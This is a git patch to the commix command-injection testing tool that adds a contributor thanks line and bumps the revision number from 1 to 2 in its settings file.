Subject: [PATCH 284/560] Minor update regarding PR
https://github.com/commixproject/commix/commit/57bbe7ab876f2adec672a2fdb9c378a2561c80c4
---
doc/THANKS.md | 1 +
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 1 deletion(-)
diff --git a/doc/THANKS.md b/doc/THANKS.md
index 889a3a64a3..5999a82158 100755
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -7,6 +7,7 @@
* Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation.
## List of individual contributors:
+* Thanks [daniruiz](https://github.com/daniruiz) for contributing code.
* Thanks [galihap76](https://github.com/galihap76) for contributing an Indonesian translation of README.md.
* Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`).
* Thanks [0x27](https://github.com/0x27) for suggesting an enhancement.
diff --git a/src/utils/settings.py b/src/utils/settings.py
index af577ce839..993d585bc8 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.8"
-REVISION = "1"
+REVISION = "2"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 8228d8f74133468229d9859b9c0570d326606c28 Mon Sep 17 00:00:00 2001
From: stasinopoulos